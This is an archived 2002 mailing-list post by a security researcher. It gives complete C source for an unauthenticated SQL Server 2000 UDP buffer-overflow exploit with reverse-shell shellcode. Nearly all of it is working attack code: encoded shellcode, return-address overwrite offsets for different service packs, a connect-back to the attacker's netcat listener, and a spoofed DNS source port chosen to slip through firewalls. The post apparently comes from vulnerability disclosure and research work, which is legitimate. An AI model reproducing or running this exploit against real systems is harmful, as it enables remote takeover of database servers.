Traditional windows shellcode uses pipes for stdin, stdout and stderrr and consequently the size of the exploit is c. 600 to 700 bytes. Rather than creating some pipes though one can create a socket using WSASocket() and use this socket as the handle to stdinm stdout and stderr. This considerably reduces the size of the code. If you hard code addresses etc (in other words you know the OS and OS Service pack of the target system) you can get the exploit code down to 160 bytes. This code here uses GetProcAddress and LoadLibrary to be platform independent though and is c. 300 bytes. I've not optomised it in anyway and there is indeed a lot of unneeded bytes used. This is from the paper I presented at blackhat on the Microsoft SQL Server unauthenticated buffer overflow over udp. When I first coded it I didn't bother to call ExitThread() so I tacked it onto the end - secondly - I thought sqlsort.dll was consistent across SQL Server service packs but it isn't - I'm using the import address entry for GetProcAddress and LoadLib from here. Unfortunately the location of the entry for GetProcAddress changes by 12 bytes from sp0 to other sps. David Litchfield NGSSoftware Ltd http://www.ngssoftware.com/ #include <stdio.h> #include <windows.h> #include <winsock.h> int GainControlOfSQL(void); int StartWinsock(void); struct sockaddr_in c_sa; struct sockaddr_in s_sa; struct hostent *he; SOCKET sock; unsigned int addr; int SQLUDPPort=1434; char host[256]=""; char request[4000]="\x04"; char ping[8]="\x02"; char exploit_code[]= "\x55\x8B\xEC\x68\x18\x10\xAE\x42\x68\x1C" "\x10\xAE\x42\xEB\x03\x5B\xEB\x05\xE8\xF8" "\xFF\xFF\xFF\xBE\xFF\xFF\xFF\xFF\x81\xF6" "\xAE\xFE\xFF\xFF\x03\xDE\x90\x90\x90\x90" "\x90\x33\xC9\xB1\x44\xB2\x58\x30\x13\x83" "\xEB\x01\xE2\xF9\x43\x53\x8B\x75\xFC\xFF" "\x16\x50\x33\xC0\xB0\x0C\x03\xD8\x53\xFF" "\x16\x50\x33\xC0\xB0\x10\x03\xD8\x53\x8B" "\x45\xF4\x50\x8B\x75\xF8\xFF\x16\x50\x33" "\xC0\xB0\x0C\x03\xD8\x53\x8B\x45\xF4\x50" "\xFF\x16\x50\x33\xC0\xB0\x08\x03\xD8\x53" "\x8B\x45\xF0\x50\xFF\x16\x50\x33\xC0\xB0" "\x10\x03\xD8\x53\x33\xC0\x33\xC9\x66\xB9" "\x04\x01\x50\xE2\xFD\x89\x45\xDC\x89\x45" "\xD8\xBF\x7F\x01\x01\x01\x89\x7D\xD4\x40" "\x40\x89\x45\xD0\x66\xB8\xFF\xFF\x66\x35" "\xFF\xCA\x66\x89\x45\xD2\x6A\x01\x6A\x02" "\x8B\x75\xEC\xFF\xD6\x89\x45\xEC\x6A\x10" "\x8D\x75\xD0\x56\x8B\x5D\xEC\x53\x8B\x45" "\xE8\xFF\xD0\x83\xC0\x44\x89\x85\x58\xFF" "\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45" "\x84\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98" "\x8D\xBD\x48\xFF\xFF\xFF\x57\x8D\xBD\x58" "\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83" "\xC0\x01\x50\x83\xE8\x01\x50\x50\x8B\x5D" "\xE0\x53\x50\x8B\x45\xE4\xFF\xD0\x33\xC0" "\x50\xC6\x04\x24\x61\xC6\x44\x24\x01\x64" "\x68\x54\x68\x72\x65\x68\x45\x78\x69\x74" "\x54\x8B\x45\xF0\x50\x8B\x45\xF8\xFF\x10" "\xFF\xD0\x90\x2F\x2B\x6A\x07\x6B\x6A\x76" "\x3C\x34\x34\x58\x58\x33\x3D\x2A\x36\x3D" "\x34\x6B\x6A\x76\x3C\x34\x34\x58\x58\x58" "\x58\x0F\x0B\x19\x0B\x37\x3B\x33\x3D\x2C" "\x19\x58\x58\x3B\x37\x36\x36\x3D\x3B\x2C" "\x58\x1B\x2A\x3D\x39\x2C\x3D\x08\x2A\x37" "\x3B\x3D\x2B\x2B\x19\x58\x58\x3B\x35\x3C" "\x58"; int main(int argc, char *argv[]) { unsigned int ErrorLevel=0,len=0,c =0; int count = 0; char sc[300]=""; char ipaddress[40]=""; unsigned short port = 0; unsigned int ip = 0; char *ipt=""; char buffer[400]=""; unsigned short prt=0; char *prtt=""; if(argc != 2 && argc != 5) { printf("\n\tSQL Server UDP Buffer Overflow\n\n\tReverse Shell Exploit Code"); printf("\n\n\tUsage:\n\n\tC:\\>%s host your_ip_address your_port sp",argv[0]); printf("\n\n\tYou need to set nectat listening on a port"); printf("\n\tthat you want the reverse shell to connect to"); printf("\n\n\te.g.\n\n\tC:\\>nc -l -p 53"); printf("\n\n\tThen run C:\\>%s db.target.com 199.199.199.199 53 0",argv[0]); printf("\n\n\tAssuming, of course, your IP address is 199.199.199.199\n"); printf("\n\tWe set the source UDP port to 53 so this should go through"); printf("\n\tmost firewalls - looks like a reply to a DNS query. Change"); printf("\n\tthe source code if you want to modify this."); printf("\n\n\tThe SP Level is the SQL Server Service Pack:"); printf("\n\tWith no service pack the import address entry for"); printf("\n\tGetProcAddress() shifts by 12 bytes so we need to"); printf("\n\tchange one byte of the exploit code to reflect this."); printf("\n\n\n\tDavid Litchfield\n\tdavidat_private\n\t22nd May 2002\n\n\n\n"); return 0; } strncpy(host,argv[1],250); if(argc == 5) { strncpy(ipaddress,argv[2],36); port = atoi(argv[3]); // SQL Server 2000 Service pack level // The import entry for GetProcAddress in sqlsort.dll // is at 0x42ae1010 but on SP 1 and 2 is at 0x42ae101C // Need to set the last byte accordingly if(argv[4][0] == 0x30) { printf("Service Pack 0. Import address entry for GetProcAddress @ 0x42ae1010\n"); exploit_code[9]=0x10; } else { printf("Service Pack 1 or 2. Import address entry for GetProcAddress @ 0x42ae101C\n"); } } ErrorLevel = StartWinsock(); if(ErrorLevel==0) { printf("Error starting Winsock.\n"); return 0; } if(argc == 2) { strcpy(request,ping); GainControlOfSQL(); return 0; } strcpy(buffer,exploit_code); // set this IP address to connect back to // this should be your address ip = inet_addr(ipaddress); ipt = (char*)&ip; buffer[142]=ipt[0]; buffer[143]=ipt[1]; buffer[144]=ipt[2]; buffer[145]=ipt[3]; // set the TCP port to connect on // netcat should be listening on this port // e.g. nc -l -p 80 prt = htons(port); prt = prt ^ 0xFFFF; prtt = (char *) &prt; buffer[160]=prtt[0]; buffer[161]=prtt[1]; strcat(request,"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO PPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXX"); // Overwrite the saved return address on the stack // This address contains a jmp esp instruction // and is in sqlsort.dll. strcat(request,"\xDC\xC9\xB0\x42"); // 0x42B0C9DC // Need to do a near jump strcat(request,"\xEB\x0E\x41\x42\x43\x44\x45\x46"); // Need to set an address which is writable or // sql server will crash before we can exploit // the overrun. Rather than choosing an address // on the stack which could be anywhere we'll // use an address in the .data segment of sqlsort.dll // as we're already using sqlsort for the saved // return address // SQL 2000 no service packs needs the address here strcat(request,"\x01\x70\xAE\x42"); // SQL 2000 Service Pack 2 needs the address here strcat(request,"\x01\x70\xAE\x42"); // just a few nops strcat(request,"\x90\x90\x90\x90\x90\x90\x90\x90"); // tack on exploit code to the end of our request // and fire it off strcat(request,buffer); GainControlOfSQL(); return 0; } int StartWinsock() { int err=0; WORD wVersionRequested; WSADATA wsaData; wVersionRequested = MAKEWORD( 2, 0 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) { return 0; } if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 ) { WSACleanup( ); return 0; } if (isalpha(host[0])) { he = gethostbyname(host); } else { addr = inet_addr(host); he = gethostbyaddr((char *)&addr,4,AF_INET); } if (he == NULL) { return 0; } s_sa.sin_addr.s_addr=INADDR_ANY; s_sa.sin_family=AF_INET; memcpy(&s_sa.sin_addr,he->h_addr,he->h_length); return 1; } int GainControlOfSQL(void) { SOCKET c_sock; char resp[600]=""; char *ptr; char *foo; int snd=0,rcv=0,count=0, var=0; unsigned int ttlbytes=0; unsigned int to=2000; struct sockaddr_in srv_addr,cli_addr; LPSERVENT srv_info; LPHOSTENT host_info; SOCKET cli_sock; cli_sock=socket(AF_INET,SOCK_DGRAM,0); if (cli_sock==INVALID_SOCKET) { return printf(" sock error"); } cli_addr.sin_family=AF_INET; cli_addr.sin_addr.s_addr=INADDR_ANY; cli_addr.sin_port=htons((unsigned short)53); setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned int)); if (bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR) { return printf("bind error"); } s_sa.sin_port=htons((unsigned short)SQLUDPPort); if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR) { return printf("Connect error"); } else { snd=send(cli_sock, request , strlen (request) , 0); printf("Packet sent!\nIf you don't have a shell it didn't work."); rcv = recv(cli_sock,resp,596,0); if(rcv > 1) { while(count < rcv) { if(resp[count]==0x00) resp[count]=0x20; count++; } printf("%s",resp); } } closesocket(cli_sock); return 0; }
This archive was generated by hypermail 2b30 : Fri Aug 16 2002 - 10:04:23 PDT